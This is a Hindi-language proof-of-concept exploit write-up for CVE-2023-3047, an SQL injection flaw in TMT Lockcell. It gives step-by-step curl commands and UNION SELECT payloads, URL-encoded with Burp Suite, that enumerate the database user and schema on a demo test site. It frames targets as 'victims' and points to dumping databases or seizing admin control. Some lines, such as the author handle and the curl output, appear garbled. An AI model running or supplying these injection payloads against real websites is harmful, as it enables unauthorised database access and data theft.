
CVE-2023-3047 में TMT Lockcell की SQL इंजेक्शन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। cURL और Burp Suite का उपयोग करके मैन्युअल शोषण का प्रदर्शन करता है, जिससे डेटाबेस उपयोगकर्ताओं और स्कीमाओं की गणना (enumerate) की जा सकती है।
@ghostman_s3c या @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5TMT Lockcell में SQL कमांड ('SQL Injection') में प्रयुक्त विशेष तत्वों का अनुचित तटस्थीकरण भेद्यता, SQL इंजेक्शन की अनुमति देती है। यह समस्या Lockcell को प्रभावित करती है: 15 से पहले के संस्करण।
पहले हम जाँच करेंगे कि क्या इसमें CVE-2023-3047 त्रुटि है, अब एक टर्मिनल खोलें, और सुनिश्चित करें कि हर टर्मिनल cURL टूल को सपोर्ट करता है
curl <your_url_vulnerable> | grep "at line"
एंटर दबाने के बाद, और यदि यह 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 जैसा प्रदर्शित होता है, तो आपकी वेबसाइट CVE-2023-3047 त्रुटि से पीड़ित है
ठीक है, आगे हम यह देखने की कोशिश करेंगे कि क्या यह वेबसाइट इन इंजेक्शन हमलों को ब्लॉक करती है, निम्नलिखित कमांड का उपयोग करके प्रयास करें
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
और एंटर दबाएँ, यदि यह नीचे दी गई छवि की तरह प्रदर्शित होता है, तो आपके पास एक लाभदायक शिकार है
और अब आपको union select पेलोड को 1 से एक निश्चित संख्या तक जारी रखना चाहिए जो mysql वेबसाइट के कॉलम संख्या के लिए मान्य मानी जाती है।
ठीक है, मेरे लक्ष्य में 1 से 11 तक मान्य कॉलम संख्या है, नीचे दी गई छवि में, 2 पूरी तरह से अलग परिणाम हैं, ऊपर अभी भी The used SELECT है, और नीचे नहीं है।
और अब, मैं Google पर जाकर सत्यापित करूँगा, देखूँगा कि क्या यह उपरोक्त परिणामों के साथ मान्य है या नहीं, और संयोगवश, मुझे एक और संख्या मिलेगी जिससे मैं जानकारी प्राप्त कर सकता हूँ।
खैर, ऐसा लगता है कि यह पूरी तरह से मान्य परिणाम है, और 3 संख्याएँ हैं जिन्हें हम जानकारी प्राप्त करने के लिए इंजेक्ट कर सकते हैं।
और अब, हम इससे जानकारी प्राप्त करने के लिए sql कमांड इंजेक्ट करने का अभ्यास करेंगे
और हम पेलोड का उपयोग करेंगे : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
ओ ओह, ऐसा लगता है, यह कमांड बहुत अच्छा नहीं है, क्योंकि हमने पेलोड को URL में एन्कोड नहीं किया है
और अब मेरा कार्य उस पेलोड को URL पथ में एन्कोड करना है ताकि साइबर हमला जारी रखा जा सके
हम उन्हें एन्कोड करने के लिए Burp Suite का उपयोग करेंगे
अब Decoder चुनें, फिर स्क्रीन के बाईं ओर Encode as चुनें, फिर URL चुनें और अपना पेलोड दर्ज करें। मेरी उपरोक्त त्रुटि के लिए, इसमें विशेष वर्ण हैं जैसे : (, )। पर्याप्त आवश्यकताएँ पूरी नहीं होतीं, इसलिए मैं केवल डेटाबेस जानकारी प्राप्त करने के लिए डाली गई कमांड को एन्कोड करूँगा
CONCAT(user(),'::',database())

curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"

और एंटर दबाने के बाद, और यही खेल का अंत है, उपयोगकर्ता नाम और डेटाबेस उजागर हो गए हैं, केवल इतना ही नहीं, हैकर्स अधिक जानकारी प्राप्त करने के लिए अन्य पेलोड इंजेक्ट कर सकते हैं, उदाहरण के लिए जानकारी चुराने या वेबसाइट व्यवस्थापक का नियंत्रण पाने के लिए डेटाबेस डंप करना
तो, खेल समाप्त हो गया है, उपयोगकर्ता नाम acuart@localhost है और डेटाबेस का नाम acuart है